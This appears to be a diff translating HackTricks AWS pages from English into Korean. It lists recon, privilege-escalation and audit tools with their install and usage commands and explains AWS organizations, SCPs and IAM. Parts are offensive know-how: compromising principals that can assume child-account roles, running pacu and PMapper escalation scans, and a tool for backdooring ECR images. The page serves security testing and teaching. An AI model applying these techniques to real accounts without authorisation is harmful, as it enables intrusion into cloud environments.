- 자식 계정을 찾으려면 AWS 콘솔의 조직 섹션으로 가거나 `aws organizations list-accounts`를 실행합니다.
|
||||
- 역할의 이름을 직접 찾을 수 없으므로 모든 사용자 정의 IAM 정책을 확인하고 **이전에 발견된 자식 계정에 대한 `sts:AssumeRole`을 허용하는 정책**을 검색합니다.
|
||||
- **자식 계정의 역할에 대한 `sts:AssumeRole` 권한을 가진 관리 계정의 **주체**를 **침해**합니다** (관리 계정에서 누구나 가장할 수 있도록 허용하더라도, 외부 계정이므로 특정 `sts:AssumeRole` 권한이 필요합니다).
|
||||
|
||||
## Automated Tools
|
||||
## 자동화 도구
|
||||
|
||||
### Recon
|
||||
|
||||
- [**aws-recon**](https://github.com/darkbitio/aws-recon): A multi-threaded AWS security-focused **inventory collection tool** written in Ruby.
|
||||
### 정찰
|
||||
|
||||
- [**aws-recon**](https://github.com/darkbitio/aws-recon): Ruby로 작성된 다중 스레드 AWS 보안 중심의 **인벤토리 수집 도구**입니다.
|
||||
```bash
|
||||
# Install
|
||||
gem install aws_recon
|
||||
|
||||
# Recon and get json
|
||||
AWS_PROFILE=<profile> aws_recon \
|
||||
--services S3,EC2 \
|
||||
--regions global,us-east-1,us-east-2 \
|
||||
--verbose
|
||||
--services S3,EC2 \
|
||||
--regions global,us-east-1,us-east-2 \
|
||||
--verbose
|
||||
```
|
||||
|
||||
- [**cloudlist**](https://github.com/projectdiscovery/cloudlist): Cloudlist is a **multi-cloud tool for getting Assets** (Hostnames, IP Addresses) from Cloud Providers.
|
||||
- [**cloudmapper**](https://github.com/duo-labs/cloudmapper): CloudMapper helps you analyze your Amazon Web Services (AWS) environments. It now contains much more functionality, including auditing for security issues.
|
||||
|
||||
- [**cloudlist**](https://github.com/projectdiscovery/cloudlist): Cloudlist는 클라우드 제공업체로부터 자산(호스트 이름, IP 주소)을 가져오는 **다중 클라우드 도구**입니다.
|
||||
- [**cloudmapper**](https://github.com/duo-labs/cloudmapper): CloudMapper는 Amazon Web Services (AWS) 환경을 분석하는 데 도움을 줍니다. 이제 보안 문제에 대한 감사 기능을 포함하여 훨씬 더 많은 기능을 포함하고 있습니다.
|
||||
```bash
|
||||
# Installation steps in github
|
||||
# Create a config.json file with the aws info, like:
|
||||
{
|
||||
"accounts": [
|
||||
{
|
||||
"default": true,
|
||||
"id": "<account id>",
|
||||
"name": "dev"
|
||||
}
|
||||
],
|
||||
"cidrs":
|
||||
{
|
||||
"2.2.2.2/28": {"name": "NY Office"}
|
||||
}
|
||||
"accounts": [
|
||||
{
|
||||
"default": true,
|
||||
"id": "<account id>",
|
||||
"name": "dev"
|
||||
}
|
||||
],
|
||||
"cidrs":
|
||||
{
|
||||
"2.2.2.2/28": {"name": "NY Office"}
|
||||
}
|
||||
}
|
||||
|
||||
# Enumerate
|
||||
@@ -229,9 +224,7 @@ python3 cloudmapper.py public --accounts dev
|
||||
python cloudmapper.py prepare #Prepare webserver
|
||||
python cloudmapper.py webserver #Show webserver
|
||||
```
|
||||
|
||||
- [**cartography**](https://github.com/lyft/cartography): Cartography is a Python tool that consolidates infrastructure assets and the relationships between them in an intuitive graph view powered by a Neo4j database.
|
||||
|
||||
- [**cartography**](https://github.com/lyft/cartography): Cartography는 Neo4j 데이터베이스로 구동되는 직관적인 그래프 뷰에서 인프라 자산과 그들 간의 관계를 통합하는 Python 도구입니다.
|
||||
```bash
|
||||
# Install
|
||||
pip install cartography
|
||||
@@ -240,17 +233,15 @@ pip install cartography
|
||||
# Get AWS info
|
||||
AWS_PROFILE=dev cartography --neo4j-uri bolt://127.0.0.1:7687 --neo4j-password-prompt --neo4j-user neo4j
|
||||
```
|
||||
|
||||
- [**starbase**](https://github.com/JupiterOne/starbase): Starbase collects assets and relationships from services and systems including cloud infrastructure, SaaS applications, security controls, and more into an intuitive graph view backed by the Neo4j database.
|
||||
- [**aws-inventory**](https://github.com/nccgroup/aws-inventory): (Uses python2) This is a tool that tries to **discover all** [**AWS resources**](https://docs.aws.amazon.com/general/latest/gr/glos-chap.html#resource) created in an account.
|
||||
- [**aws_public_ips**](https://github.com/arkadiyt/aws_public_ips): It's a tool to **fetch all public IP addresses** (both IPv4/IPv6) associated with an AWS account.
|
||||
- [**starbase**](https://github.com/JupiterOne/starbase): Starbase는 클라우드 인프라, SaaS 애플리케이션, 보안 제어 등을 포함한 서비스와 시스템에서 자산과 관계를 수집하여 Neo4j 데이터베이스에 기반한 직관적인 그래프 뷰로 제공합니다.
|
||||
- [**aws-inventory**](https://github.com/nccgroup/aws-inventory): (python2 사용) 이 도구는 계정에 생성된 모든 [**AWS 리소스**](https://docs.aws.amazon.com/general/latest/gr/glos-chap.html#resource)를 **발견하려고** 합니다.
|
||||
- [**aws_public_ips**](https://github.com/arkadiyt/aws_public_ips): AWS 계정과 연결된 모든 공용 IP 주소(IPv4/IPv6 모두)를 **가져오는** 도구입니다.
|
||||
|
||||
### Privesc & Exploiting
|
||||
|
||||
- [**SkyArk**](https://github.com/cyberark/SkyArk)**:** Discover the most privileged users in the scanned AWS environment, including the AWS Shadow Admins. It uses powershell. You can find the **definition of privileged policies** in the function **`Check-PrivilegedPolicy`** in [https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1](https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1).
|
||||
- [**pacu**](https://github.com/RhinoSecurityLabs/pacu): Pacu is an open-source **AWS exploitation framework**, designed for offensive security testing against cloud environments. It can **enumerate**, find **miss-configurations** and **exploit** them. You can find the **definition of privileged permissions** in [https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam\_\_privesc_scan/main.py#L134](https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__privesc_scan/main.py#L134) inside the **`user_escalation_methods`** dict.
|
||||
- Note that pacu **only checks your own privescs paths** (not account wide).
|
||||
|
||||
- [**SkyArk**](https://github.com/cyberark/SkyArk)**:** 스캔된 AWS 환경에서 가장 권한이 높은 사용자, 즉 AWS Shadow Admins를 발견합니다. PowerShell을 사용합니다. [https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1](https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1)에서 **`Check-PrivilegedPolicy`** 함수의 **권한 정책 정의**를 찾을 수 있습니다.
|
||||
- [**pacu**](https://github.com/RhinoSecurityLabs/pacu): Pacu는 클라우드 환경에 대한 공격 보안 테스트를 위해 설계된 오픈 소스 **AWS exploitation framework**입니다. **열거**, **구성 오류**를 찾고 **악용**할 수 있습니다. **`user_escalation_methods`** dict 내에서 [https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__privesc_scan/main.py#L134](https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__privesc_scan/main.py#L134)에서 **권한 정의**를 찾을 수 있습니다.
|
||||
- pacu는 **자신의 privescs 경로만 확인합니다** (계정 전체가 아님).
|
||||
```bash
|
||||
# Install
|
||||
## Feel free to use venvs
|
||||
@@ -264,9 +255,7 @@ pacu
|
||||
> exec iam__enum_permissions # Get permissions
|
||||
> exec iam__privesc_scan # List privileged permissions
|
||||
```
|
||||
|
||||
- [**PMapper**](https://github.com/nccgroup/PMapper): Principal Mapper (PMapper) is a script and library for identifying risks in the configuration of AWS Identity and Access Management (IAM) for an AWS account or an AWS organization. It models the different IAM Users and Roles in an account as a directed graph, which enables checks for **privilege escalation** and for alternate paths an attacker could take to gain access to a resource or action in AWS. You can check the **permissions used to find privesc** paths in the filenames ended in `_edges.py` in [https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing](https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing)
|
||||
|
||||
- [**PMapper**](https://github.com/nccgroup/PMapper): Principal Mapper (PMapper)는 AWS 계정 또는 AWS 조직의 AWS Identity and Access Management (IAM) 구성에서 위험을 식별하기 위한 스크립트 및 라이브러리입니다. 이는 계정 내의 다양한 IAM 사용자 및 역할을 방향 그래프로 모델링하여 **권한 상승** 및 공격자가 AWS에서 리소스나 작업에 접근하기 위해 취할 수 있는 대체 경로를 확인할 수 있게 합니다. **privesc** 경로를 찾기 위해 사용되는 **권한**은 [https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing](https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing)에서 `_edges.py`로 끝나는 파일 이름에서 확인할 수 있습니다.
|
||||
```bash
|
||||
# Install
|
||||
pip install principalmapper
|
||||
@@ -288,10 +277,8 @@ pmapper --profile dev query 'preset privesc *' # Get privescs with admins
|
||||
pmapper --profile dev orgs create
|
||||
pmapper --profile dev orgs display
|
||||
```
|
||||
|
||||
- [**cloudsplaining**](https://github.com/salesforce/cloudsplaining): Cloudsplaining is an AWS IAM Security Assessment tool that identifies violations of least privilege and generates a risk-prioritized HTML report.\
|
||||
It will show you potentially **over privileged** customer, inline and aws **policies** and which **principals has access to them**. (It not only checks for privesc but also other kind of interesting permissions, recommended to use).
|
||||
|
||||
- [**cloudsplaining**](https://github.com/salesforce/cloudsplaining): Cloudsplaining은 최소 권한 위반을 식별하고 위험 우선 순위가 매겨진 HTML 보고서를 생성하는 AWS IAM 보안 평가 도구입니다.\
|
||||
잠재적으로 **과도한 권한**을 가진 고객, 인라인 및 aws **정책**과 해당 **주체가 접근할 수 있는지** 보여줍니다. (권한 상승뿐만 아니라 다른 흥미로운 권한도 확인하므로 사용을 권장합니다).
|
||||
```bash
|
||||
# Install
|
||||
pip install cloudsplaining
|
||||
@@ -303,24 +290,20 @@ cloudsplaining download --profile dev
|
||||
# Analyze the IAM policies
|
||||
cloudsplaining scan --input-file /private/tmp/cloudsplaining/dev.json --output /tmp/files/
|
||||
```
|
||||
- [**cloudjack**](https://github.com/prevade/cloudjack): CloudJack는 분리된 Route53 및 CloudFront 구성으로 인해 **서브도메인 하이재킹 취약점**에 대해 AWS 계정을 평가합니다.
|
||||
- [**ccat**](https://github.com/RhinoSecurityLabs/ccat): ECR 리포지토리 목록 -> ECR 리포지토리 가져오기 -> 백도어 추가 -> 백도어가 추가된 이미지 푸시
|
||||
- [**Dufflebag**](https://github.com/bishopfox/dufflebag): Dufflebag는 **비공식적으로 남겨졌을 수 있는 비밀**을 찾기 위해 공개 Elastic Block Storage (**EBS**) 스냅샷을 **검색하는** 도구입니다.
|
||||
|
||||
- [**cloudjack**](https://github.com/prevade/cloudjack): CloudJack assesses AWS accounts for **subdomain hijacking vulnerabilities** as a result of decoupled Route53 and CloudFront configurations.
|
||||
- [**ccat**](https://github.com/RhinoSecurityLabs/ccat): List ECR repos -> Pull ECR repo -> Backdoor it -> Push backdoored image
|
||||
- [**Dufflebag**](https://github.com/bishopfox/dufflebag): Dufflebag is a tool that **searches** through public Elastic Block Storage (**EBS) snapshots for secrets** that may have been accidentally left in.
|
||||
|
||||
### Audit
|
||||
|
||||
- [**cloudsploit**](https://github.com/aquasecurity/cloudsploit)**:** CloudSploit by Aqua is an open-source project designed to allow detection of **security risks in cloud infrastructure** accounts, including: Amazon Web Services (AWS), Microsoft Azure, Google Cloud Platform (GCP), Oracle Cloud Infrastructure (OCI), and GitHub (It doesn't look for ShadowAdmins).
|
||||
### 감사
|
||||
|
||||
- [**cloudsploit**](https://github.com/aquasecurity/cloudsploit)**:** Aqua의 CloudSploit는 Amazon Web Services (AWS), Microsoft Azure, Google Cloud Platform (GCP), Oracle Cloud Infrastructure (OCI) 및 GitHub를 포함하여 **클라우드 인프라** 계정의 **보안 위험**을 감지할 수 있도록 설계된 오픈 소스 프로젝트입니다 (ShadowAdmins를 찾지 않습니다).
|
||||
```bash
|
||||
./index.js --csv=file.csv --console=table --config ./config.js
|
||||
|
||||
# Compiance options: --compliance {hipaa,cis,cis1,cis2,pci}
|
||||
## use "cis" for cis level 1 and 2
|
||||
```
|
||||
|
||||
- [**Prowler**](https://github.com/prowler-cloud/prowler): Prowler is an Open Source security tool to perform AWS security best practices assessments, audits, incident response, continuous monitoring, hardening and forensics readiness.
|
||||
|
||||
- [**Prowler**](https://github.com/prowler-cloud/prowler): Prowler는 AWS 보안 모범 사례 평가, 감사, 사고 대응, 지속적인 모니터링, 강화 및 포렌식 준비를 수행하기 위한 오픈 소스 보안 도구입니다.
|
||||
```bash
|
||||
# Install python3, jq and git
|
||||
# Install
|
||||
@@ -331,15 +314,11 @@ prowler -v
|
||||
prowler <provider>
|
||||
prowler aws --profile custom-profile [-M csv json json-asff html]
|
||||
```
|
||||
|
||||
- [**CloudFox**](https://github.com/BishopFox/cloudfox): CloudFox helps you gain situational awareness in unfamiliar cloud environments. It’s an open source command line tool created to help penetration testers and other offensive security professionals find exploitable attack paths in cloud infrastructure.
|
||||
|
||||
- [**CloudFox**](https://github.com/BishopFox/cloudfox): CloudFox는 낯선 클라우드 환경에서 상황 인식을 높이는 데 도움을 줍니다. 이는 침투 테스터 및 기타 공격 보안 전문가가 클라우드 인프라에서 악용 가능한 공격 경로를 찾는 데 도움을 주기 위해 만들어진 오픈 소스 명령줄 도구입니다.
|
||||
```bash
|
||||
cloudfox aws --profile [profile-name] all-checks
|
||||
```
|
||||
|
||||
- [**ScoutSuite**](https://github.com/nccgroup/ScoutSuite): Scout Suite is an open source multi-cloud security-auditing tool, which enables security posture assessment of cloud environments.
|
||||
|
||||
- [**ScoutSuite**](https://github.com/nccgroup/ScoutSuite): Scout Suite는 클라우드 환경의 보안 태세 평가를 가능하게 하는 오픈 소스 다중 클라우드 보안 감사 도구입니다.
|
||||
```bash
|
||||
# Install
|
||||
virtualenv -p python3 venv
|
||||
@@ -350,18 +329,16 @@ scout --help
|
||||
# Get info
|
||||
scout aws -p dev
|
||||
```
|
||||
- [**cs-suite**](https://github.com/SecurityFTW/cs-suite): 클라우드 보안 스위트 (python2.7 사용, 유지 관리되지 않는 것으로 보임)
|
||||
- [**Zeus**](https://github.com/DenizParlak/Zeus): Zeus는 AWS EC2 / S3 / CloudTrail / CloudWatch / KMS의 최상의 하드닝 관행을 위한 강력한 도구입니다 (유지 관리되지 않는 것으로 보임). 시스템 내에서 기본 구성된 자격 증명만 확인합니다.
|
||||
|
||||
- [**cs-suite**](https://github.com/SecurityFTW/cs-suite): Cloud Security Suite (uses python2.7 and looks unmaintained)
|
||||
- [**Zeus**](https://github.com/DenizParlak/Zeus): Zeus is a powerful tool for AWS EC2 / S3 / CloudTrail / CloudWatch / KMS best hardening practices (looks unmaintained). It checks only default configured creds inside the system.
|
||||
### 지속적인 감사
|
||||
|
||||
### Constant Audit
|
||||
|
||||
- [**cloud-custodian**](https://github.com/cloud-custodian/cloud-custodian): Cloud Custodian is a rules engine for managing public cloud accounts and resources. It allows users to **define policies to enable a well managed cloud infrastructure**, that's both secure and cost optimized. It consolidates many of the adhoc scripts organizations have into a lightweight and flexible tool, with unified metrics and reporting.
|
||||
- [**pacbot**](https://github.com/tmobile/pacbot)**: Policy as Code Bot (PacBot)** is a platform for **continuous compliance monitoring, compliance reporting and security automation for the clou**d. In PacBot, security and compliance policies are implemented as code. All resources discovered by PacBot are evaluated against these policies to gauge policy conformance. The PacBot **auto-fix** framework provides the ability to automatically respond to policy violations by taking predefined actions.
|
||||
- [**streamalert**](https://github.com/airbnb/streamalert)**:** StreamAlert is a serverless, **real-time** data analysis framework which empowers you to **ingest, analyze, and alert** on data from any environment, u**sing data sources and alerting logic you define**. Computer security teams use StreamAlert to scan terabytes of log data every day for incident detection and response.
|
||||
|
||||
## DEBUG: Capture AWS cli requests
|
||||
- [**cloud-custodian**](https://github.com/cloud-custodian/cloud-custodian): Cloud Custodian은 공용 클라우드 계정 및 리소스를 관리하기 위한 규칙 엔진입니다. 사용자가 **잘 관리된 클라우드 인프라를 가능하게 하는 정책을 정의**할 수 있도록 합니다. 이는 조직이 보유한 많은 임시 스크립트를 경량화되고 유연한 도구로 통합하며, 통합된 메트릭 및 보고서를 제공합니다.
|
||||
- [**pacbot**](https://github.com/tmobile/pacbot)**: 코드로서의 정책 봇 (PacBot)**은 **클라우드를 위한 지속적인 준수 모니터링, 준수 보고 및 보안 자동화** 플랫폼입니다. PacBot에서는 보안 및 준수 정책이 코드로 구현됩니다. PacBot에 의해 발견된 모든 리소스는 이러한 정책에 대해 평가되어 정책 준수 여부를 판단합니다. PacBot **자동 수정** 프레임워크는 미리 정의된 조치를 취하여 정책 위반에 자동으로 대응할 수 있는 기능을 제공합니다.
|
||||
- [**streamalert**](https://github.com/airbnb/streamalert)**:** StreamAlert는 서버리스 **실시간** 데이터 분석 프레임워크로, 사용자가 정의한 데이터 소스 및 경고 논리를 사용하여 **데이터를 수집, 분석 및 경고**할 수 있도록 합니다. 컴퓨터 보안 팀은 StreamAlert를 사용하여 매일 수 테라바이트의 로그 데이터를 스캔하여 사건 탐지 및 대응을 수행합니다.
|
||||
|
||||
## DEBUG: AWS cli 요청 캡처
|
||||
```bash
|
||||
# Set proxy
|
||||
export HTTP_PROXY=http://localhost:8080
|
||||
@@ -380,14 +357,9 @@ export AWS_CA_BUNDLE=~/Downloads/certificate.pem
|
||||
# Run aws cli normally trusting burp cert
|
||||
aws ...
|
||||
```
|
||||
|
||||
## References
|
||||
|
||||
- [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ)
|
||||
- [https://cloudsecdocs.com/aws/defensive/tooling/audit/](https://cloudsecdocs.com/aws/defensive/tooling/audit/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,84 +1,74 @@
|
||||
# AWS - Basic Information
|
||||
# AWS - 기본 정보
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Organization Hierarchy
|
||||
## 조직 계층 구조
|
||||
|
||||
.png>)
|
||||
|
||||
### Accounts
|
||||
### 계정
|
||||
|
||||
In AWS there is a **root account,** which is the **parent container for all the accounts** for your **organization**. However, you don't need to use that account to deploy resources, you can create **other accounts to separate different AWS** infrastructures between them.
|
||||
AWS에는 **루트 계정**이 있으며, 이는 **조직의 모든 계정에 대한 부모 컨테이너**입니다. 그러나 리소스를 배포하기 위해 해당 계정을 사용할 필요는 없으며, **다른 계정을 생성하여 서로 다른 AWS** 인프라를 분리할 수 있습니다.
|
||||
|
||||
This is very interesting from a **security** point of view, as **one account won't be able to access resources from other account** (except bridges are specifically created), so this way you can create boundaries between deployments.
|
||||
이는 **보안** 관점에서 매우 흥미롭습니다. **하나의 계정은 다른 계정의 리소스에 접근할 수 없습니다** (특별히 브리지가 생성되지 않는 한), 따라서 이 방법으로 배포 간의 경계를 만들 수 있습니다.
|
||||
|
||||
Therefore, there are **two types of accounts in an organization** (we are talking about AWS accounts and not User accounts): a single account that is designated as the management account, and one or more member accounts.
|
||||
따라서 조직에는 **두 가지 유형의 계정**이 있습니다 (우리는 AWS 계정에 대해 이야기하고 있으며 사용자 계정이 아닙니다): 관리 계정으로 지정된 단일 계정과 하나 이상의 멤버 계정입니다.
|
||||
|
||||
- The **management account (the root account)** is the account that you use to create the organization. From the organization's management account, you can do the following:
|
||||
- **관리 계정 (루트 계정)**은 조직을 생성하는 데 사용하는 계정입니다. 조직의 관리 계정에서 다음을 수행할 수 있습니다:
|
||||
|
||||
- Create accounts in the organization
|
||||
- Invite other existing accounts to the organization
|
||||
- Remove accounts from the organization
|
||||
- Manage invitations
|
||||
- Apply policies to entities (roots, OUs, or accounts) within the organization
|
||||
- Enable integration with supported AWS services to provide service functionality across all of the accounts in the organization.
|
||||
- It's possible to login as the root user using the email and password used to create this root account/organization.
|
||||
- 조직 내에서 계정 생성
|
||||
- 다른 기존 계정을 조직에 초대
|
||||
- 조직에서 계정 제거
|
||||
- 초대 관리
|
||||
- 조직 내의 엔터티(루트, OU 또는 계정)에 정책 적용
|
||||
- 조직 내 모든 계정에서 서비스 기능을 제공하기 위해 지원되는 AWS 서비스와의 통합 활성화
|
||||
- 이 루트 계정/조직을 생성하는 데 사용된 이메일과 비밀번호로 루트 사용자로 로그인할 수 있습니다.
|
||||
|
||||
The management account has the **responsibilities of a payer account** and is responsible for paying all charges that are accrued by the member accounts. You can't change an organization's management account.
|
||||
|
||||
- **Member accounts** make up all of the rest of the accounts in an organization. An account can be a member of only one organization at a time. You can attach a policy to an account to apply controls to only that one account.
|
||||
- Member accounts **must use a valid email address** and can have a **name**, in general they wont be able to manage the billing (but they might be given access to it).
|
||||
관리 계정은 **지불 계정의 책임**을 지며, 멤버 계정에서 발생하는 모든 요금을 지불할 책임이 있습니다. 조직의 관리 계정을 변경할 수 없습니다.
|
||||
|
||||
- **멤버 계정**은 조직 내의 나머지 모든 계정을 구성합니다. 계정은 한 번에 하나의 조직의 멤버일 수 있습니다. 계정에 정책을 부착하여 해당 계정에만 제어를 적용할 수 있습니다.
|
||||
- 멤버 계정은 **유효한 이메일 주소를 사용해야 하며** **이름**을 가질 수 있으며, 일반적으로 청구를 관리할 수는 없지만 접근 권한이 부여될 수 있습니다.
|
||||
```
|
||||
aws organizations create-account --account-name testingaccount --email testingaccount@lalala1233fr.com
|
||||
```
|
||||
### **조직 단위**
|
||||
|
||||
### **Organization Units**
|
||||
|
||||
Accounts can be grouped in **Organization Units (OU)**. This way, you can create **policies** for the Organization Unit that are going to be **applied to all the children accounts**. Note that an OU can have other OUs as children.
|
||||
|
||||
계정은 **조직 단위(OU)**로 그룹화할 수 있습니다. 이렇게 하면 조직 단위에 대한 **정책**을 생성할 수 있으며, 이 정책은 **모든 자식 계정에 적용됩니다**. OU는 다른 OU를 자식으로 가질 수 있습니다.
|
||||
```bash
|
||||
# You can get the root id from aws organizations list-roots
|
||||
aws organizations create-organizational-unit --parent-id r-lalala --name TestOU
|
||||
```
|
||||
|
||||
### Service Control Policy (SCP)
|
||||
|
||||
A **service control policy (SCP)** is a policy that specifies the services and actions that users and roles can use in the accounts that the SCP affects. SCPs are **similar to IAM** permissions policies except that they **don't grant any permissions**. Instead, SCPs specify the **maximum permissions** for an organization, organizational unit (OU), or account. When you attach a SCP to your organization root or an OU, the **SCP limits permissions for entities in member accounts**.
|
||||
A **service control policy (SCP)**는 SCP가 영향을 미치는 계정에서 사용자가 사용할 수 있는 서비스와 작업을 지정하는 정책입니다. SCP는 **IAM** 권한 정책과 유사하지만 **권한을 부여하지 않습니다**. 대신, SCP는 조직, 조직 단위(OU) 또는 계정에 대한 **최대 권한**을 지정합니다. SCP를 조직 루트 또는 OU에 연결하면 **SCP는 구성원 계정의 엔티티에 대한 권한을 제한합니다**.
|
||||
|
||||
This is the ONLY way that **even the root user can be stopped** from doing something. For example, it could be used to stop users from disabling CloudTrail or deleting backups.\
|
||||
The only way to bypass this is to compromise also the **master account** that configures the SCPs (master account cannot be blocked).
|
||||
이것은 **루트 사용자조차도 무언가를 하는 것을 막을 수 있는 유일한 방법**입니다. 예를 들어, 사용자가 CloudTrail을 비활성화하거나 백업을 삭제하는 것을 막는 데 사용할 수 있습니다.\
|
||||
이를 우회하는 유일한 방법은 SCP를 구성하는 **마스터 계정**도 손상시키는 것입니다(마스터 계정은 차단할 수 없습니다).
|
||||
|
||||
> [!WARNING]
|
||||
> Note that **SCPs only restrict the principals in the account**, so other accounts are not affected. This means having an SCP deny `s3:GetObject` will not stop people from **accessing a public S3 bucket** in your account.
|
||||
> **SCP는 계정의 주체만 제한**하므로 다른 계정에는 영향을 미치지 않습니다. 이는 SCP가 `s3:GetObject`를 거부하더라도 사람들이 **귀하의 계정에서 공개 S3 버킷에 접근하는 것을 막지 않습니다**.
|
||||
|
||||
SCP examples:
|
||||
SCP 예시:
|
||||
|
||||
- Deny the root account entirely
|
||||
- Only allow specific regions
|
||||
- Only allow white-listed services
|
||||
- Deny GuardDuty, CloudTrail, and S3 Public Block Access from
|
||||
- 루트 계정을 완전히 거부
|
||||
- 특정 지역만 허용
|
||||
- 화이트리스트에 있는 서비스만 허용
|
||||
- GuardDuty, CloudTrail 및 S3 공개 차단 액세스 비활성화를 거부
|
||||
|
||||
being disabled
|
||||
- 보안/사고 대응 역할이 삭제되거나 수정되는 것을 거부합니다.
|
||||
|
||||
- Deny security/incident response roles from being deleted or
|
||||
- 백업이 삭제되는 것을 거부합니다.
|
||||
- IAM 사용자 및 액세스 키 생성을 거부합니다.
|
||||
|
||||
modified.
|
||||
|
||||
- Deny backups from being deleted.
|
||||
- Deny creating IAM users and access keys
|
||||
|
||||
Find **JSON examples** in [https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html)
|
||||
**JSON 예시**는 [https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html)에서 확인하세요.
|
||||
|
||||
### ARN
|
||||
|
||||
**Amazon Resource Name** is the **unique name** every resource inside AWS has, its composed like this:
|
||||
|
||||
**Amazon Resource Name**은 AWS 내의 모든 리소스가 가지는 **고유 이름**으로, 다음과 같이 구성됩니다:
|
||||
```
|
||||
arn:partition:service:region:account-id:resource-type/resource-id
|
||||
arn:aws:elasticbeanstalk:us-west-1:123456789098:environment/App/Env
|
||||
```
|
||||
|
||||
Note that there are 4 partitions in AWS but only 3 ways to call them:
|
||||
|
||||
- AWS Standard: `aws`
|
||||
@@ -88,203 +78,197 @@ Note that there are 4 partitions in AWS but only 3 ways to call them:
|
||||
|
||||
## IAM - Identity and Access Management
|
||||
|
||||
IAM is the service that will allow you to manage **Authentication**, **Authorization** and **Access Control** inside your AWS account.
|
||||
IAM은 AWS 계정 내에서 **인증**, **권한 부여** 및 **액세스 제어**를 관리할 수 있게 해주는 서비스입니다.
|
||||
|
||||
- **Authentication** - Process of defining an identity and the verification of that identity. This process can be subdivided in: Identification and verification.
|
||||
- **Authorization** - Determines what an identity can access within a system once it's been authenticated to it.
|
||||
- **Access Control** - The method and process of how access is granted to a secure resource
|
||||
- **인증** - 신원을 정의하고 그 신원을 검증하는 과정입니다. 이 과정은 식별 및 검증으로 세분화될 수 있습니다.
|
||||
- **권한 부여** - 신원이 시스템에 인증된 후 시스템 내에서 어떤 리소스에 접근할 수 있는지를 결정합니다.
|
||||
- **액세스 제어** - 안전한 리소스에 대한 액세스가 어떻게 부여되는지를 정의하는 방법과 과정입니다.
|
||||
|
||||
IAM can be defined by its ability to manage, control and govern authentication, authorization and access control mechanisms of identities to your resources within your AWS account.
|
||||
IAM은 AWS 계정 내 리소스에 대한 신원의 인증, 권한 부여 및 액세스 제어 메커니즘을 관리, 제어 및 통치하는 능력으로 정의될 수 있습니다.
|
||||
|
||||
### [AWS account root user](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html) <a href="#id_root" id="id_root"></a>
|
||||
|
||||
When you first create an Amazon Web Services (AWS) account, you begin with a single sign-in identity that has **complete access to all** AWS services and resources in the account. This is the AWS account _**root user**_ and is accessed by signing in with the **email address and password that you used to create the account**.
|
||||
Amazon Web Services (AWS) 계정을 처음 생성하면 **모든** AWS 서비스와 리소스에 **완전한 접근 권한**을 가진 단일 로그인 신원으로 시작합니다. 이것이 AWS 계정 _**루트 사용자**_이며, **계정을 생성할 때 사용한 이메일 주소와 비밀번호로 로그인하여 접근합니다**.
|
||||
|
||||
Note that a new **admin user** will have **less permissions that the root user**.
|
||||
새로운 **관리자 사용자**는 **루트 사용자보다 권한이 적습니다**.
|
||||
|
||||
From a security point of view, it's recommended to create other users and avoid using this one.
|
||||
보안 관점에서 볼 때, 다른 사용자를 생성하고 이 사용자를 사용하는 것을 피하는 것이 권장됩니다.
|
||||
|
||||
### [IAM users](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_users.html) <a href="#id_iam-users" id="id_iam-users"></a>
|
||||
|
||||
An IAM _user_ is an entity that you create in AWS to **represent the person or application** that uses it to **interact with AWS**. A user in AWS consists of a name and credentials (password and up to two access keys).
|
||||
IAM _사용자_는 AWS에서 **사람이나 애플리케이션을 나타내기 위해 생성하는 엔티티**입니다. AWS의 사용자는 이름과 자격 증명(비밀번호 및 최대 두 개의 액세스 키)으로 구성됩니다.
|
||||
|
||||
When you create an IAM user, you grant it **permissions** by making it a **member of a user group** that has appropriate permission policies attached (recommended), or by **directly attaching policies** to the user.
|
||||
IAM 사용자를 생성할 때, 적절한 권한 정책이 첨부된 **사용자 그룹의 구성원**으로 만들어 **권한**을 부여하거나, **정책을 사용자에게 직접 첨부**하여 권한을 부여합니다.
|
||||
|
||||
Users can have **MFA enabled to login** through the console. API tokens of MFA enabled users aren't protected by MFA. If you want to **restrict the access of a users API keys using MFA** you need to indicate in the policy that in order to perform certain actions MFA needs to be present (example [**here**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html)).
|
||||
사용자는 콘솔을 통해 **MFA로 로그인할 수 있습니다**. MFA가 활성화된 사용자의 API 토큰은 MFA로 보호되지 않습니다. **MFA를 사용하여 사용자의 API 키 접근을 제한**하려면, 특정 작업을 수행하기 위해 MFA가 필요하다는 것을 정책에 명시해야 합니다 (예시 [**여기**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html)).
|
||||
|
||||
#### CLI
|
||||
|
||||
- **Access Key ID**: 20 random uppercase alphanumeric characters like AKHDNAPO86BSHKDIRYT
|
||||
- **Secret access key ID**: 40 random upper and lowercase characters: S836fh/J73yHSb64Ag3Rkdi/jaD6sPl6/antFtU (It's not possible to retrieve lost secret access key IDs).
|
||||
